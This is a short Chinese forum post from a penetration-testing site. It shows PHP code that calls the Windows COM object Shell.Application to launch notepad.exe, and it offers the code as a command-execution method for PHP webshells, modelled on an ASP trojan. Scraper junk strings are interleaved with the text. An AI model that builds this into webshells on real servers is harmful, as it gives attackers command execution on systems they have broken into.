中国网络渗透测试联盟
标题:
php和asp利用Shell.Application来执行程序
[打印本页]
作者:
admin
时间:
2012-9-15 14:29
标题:
php和asp利用Shell.Application来执行程序
关于用Shell.Application来执行程序，在海阳顶端asp木马里已有示例。用的是ShellExecute 这个方法。
( q0 [6 _6 [6 Z) J/ @- D/ y
% c& w3 s. I% H9 o5 b
今天试了一下，用open也可以。php代码如下，我好像还没有在php的webshell中看到相关方法
" _4 u5 e& J4 G( m
- z2 ? L, P2 _! q( |& |- d
<?php
' d( d# p( _8 m5 M
$wsh = new COM('Shell.Application') or die("Shell.Application");
Q p# r& y6 j
$exec = $wsh->open("c:\\windows\\system32\\notepad.exe");
3 U/ F, m, d4 H* P& C
//没有回显，多了个notepad进程，可以写一个批处理来运行dos命令。open换用ShellExecute 也可。
* Z" F S, E9 ^& @$ J3 D
?>
( b9 f* B0 P, g" r+ b
' h, t8 F! n% R( t+ b9 M% D1 ~
xp+APMServ5.2.0测试通过。
7 ]( S X v$ i
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2